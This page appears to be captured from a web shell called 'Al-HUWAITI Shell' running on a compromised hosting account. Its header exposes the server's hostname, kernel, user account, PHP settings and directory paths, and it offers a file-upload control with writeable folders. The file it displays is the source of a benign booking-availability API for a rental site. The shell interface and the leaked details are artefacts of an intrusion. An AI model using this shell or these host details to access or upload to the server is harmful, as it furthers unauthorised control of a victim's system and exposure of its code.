Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webd003.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : edevmultrx ( 811899)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/edevmultrx/www/terra-d-oro/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/edevmultrx/www/terra-d-oro/api/availability.php
<?php
/**
 * Terra D'Oro — Availability API
 * Route: GET /api/availability
 *
 * Two operating modes:
 *
 *   Ranges mode  (initialise the calendar widget — no date params needed):
 *     GET ?unit_id=N    or   ?unit=SLUG
 *     → { unit_id, booked: [{check_in, check_out}], min_nights,
 *          max_nights, lead_days, advance_days, price_per_night, max_guests }
 *
 *   Check mode  (live availability check for a specific date range):
 *     GET ?unit_id=N&check_in=YYYY-MM-DD&check_out=YYYY-MM-DD
 *     → same base object plus: { available, nights, total, reason?, message? }
 *
 * Authentication: none — public endpoint for the booking widget.
 * Cache headers: no-store (dates change after every sync).
 */

declare(strict_types=1);

// ── Bootstrap ─────────────────────────────────────────────────────────────────

if (!defined('ROOT_PATH')) {
    define('ROOT_PATH', dirname(__DIR__));
}
require_once ROOT_PATH . '/core/config.php';
require_once ROOT_PATH . '/core/db.php';
require_once ROOT_PATH . '/core/helpers.php';

// ── Response helper ───────────────────────────────────────────────────────────

function avail_respond(int $status, array $data): never
{
    http_response_code($status);
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store, no-cache');
    header('X-Content-Type-Options: nosniff');
    echo json_encode($data, JSON_UNESCAPED_UNICODE);
    exit;
}

// ── Resolve unit ──────────────────────────────────────────────────────────────

$slug    = trim($_GET['unit']    ?? '');
$unit_id = (int) ($_GET['unit_id'] ?? 0);

if ($slug === '' && $unit_id === 0) {
    avail_respond(400, ['error' => 'Missing parameter: ?unit=SLUG or ?unit_id=ID required.']);
}

$unit = null;

if ($slug !== '') {
    $unit = get_unit_by_slug($db, $slug);
} else {
    $stmt = $db->prepare(
        'SELECT id, slug, name, base_price, max_guests
         FROM   `' . TBL_UNITS . '` WHERE id = :id AND is_active = 1 LIMIT 1'
    );
    $stmt->execute([':id' => $unit_id]);
    $unit = $stmt->fetch() ?: null;
}

if (!$unit) {
    avail_respond(404, ['error' => 'Unit not found or inactive.']);
}

// ── Base response (ranges mode — always returned) ─────────────────────────────

$booked   = get_booked_ranges($db, (int) $unit['id']);

$response = [
    'unit_id'         => (int)   $unit['id'],
    'unit_slug'       => $unit['slug'],
    'booked'          => $booked,
    'min_nights'      => BOOKING_MIN_NIGHTS,
    'max_nights'      => BOOKING_MAX_NIGHTS,
    'lead_days'       => BOOKING_LEAD_DAYS,
    'advance_days'    => BOOKING_ADVANCE_DAYS,
    'price_per_night' => (float) $unit['base_price'],
    'max_guests'      => (int)   $unit['max_guests'],
];

// ── Check mode — only when both dates are provided ────────────────────────────

$check_in  = trim($_GET['check_in']  ?? '');
$check_out = trim($_GET['check_out'] ?? '');

if ($check_in === '' || $check_out === '') {
    avail_respond(200, $response);  // Ranges-only mode — exit here
}

// Validate date format
$date_re = '/^\d{4}-\d{2}-\d{2}$/';
if (!preg_match($date_re, $check_in) || !preg_match($date_re, $check_out)) {
    avail_respond(400, ['error' => 'Dates must be in YYYY-MM-DD format.']);
}

$nights   = nights_between($check_in, $check_out);
$earliest = date('Y-m-d', strtotime('+' . BOOKING_LEAD_DAYS    . ' day'));
$latest   = date('Y-m-d', strtotime('+' . BOOKING_ADVANCE_DAYS . ' day'));

// Rule violations return 200 with available:false (not 4xx — UI uses the message)
if ($check_in < $earliest) {
    avail_respond(200, array_merge($response, [
        'available' => false,
        'reason'    => 'too_soon',
        'message'   => 'La date d\'arrivée est trop proche. Merci de réserver au moins '
                     . BOOKING_LEAD_DAYS . ' jour(s) à l\'avance.',
    ]));
}

if ($check_in > $latest) {
    avail_respond(200, array_merge($response, [
        'available' => false,
        'reason'    => 'too_far',
        'message'   => 'Cette date dépasse notre horizon de réservation ('
                     . BOOKING_ADVANCE_DAYS . ' jours).',
    ]));
}

if ($nights < BOOKING_MIN_NIGHTS) {
    avail_respond(200, array_merge($response, [
        'available' => false,
        'reason'    => 'too_short',
        'message'   => 'La durée minimale de séjour est de ' . BOOKING_MIN_NIGHTS . ' nuits.',
    ]));
}

if ($nights > BOOKING_MAX_NIGHTS) {
    avail_respond(200, array_merge($response, [
        'available' => false,
        'reason'    => 'too_long',
        'message'   => 'La durée maximale de séjour est de ' . BOOKING_MAX_NIGHTS . ' nuits.',
    ]));
}

// ── Availability check (Allen's interval algebra via is_available helper) ─────

$available = is_available($db, (int) $unit['id'], $check_in, $check_out);
$total     = round($nights * (float) $unit['base_price'], 2);

avail_respond(200, array_merge($response, [
    'available' => $available,
    'check_in'  => $check_in,
    'check_out' => $check_out,
    'nights'    => $nights,
    'total'     => $total,
    'reason'    => $available ? null : 'occupied',
    'message'   => $available
        ? null
        : 'Ces dates ne sont malheureusement plus disponibles. Veuillez sélectionner d\'autres dates.',
]));

Al-HUWAITI Shell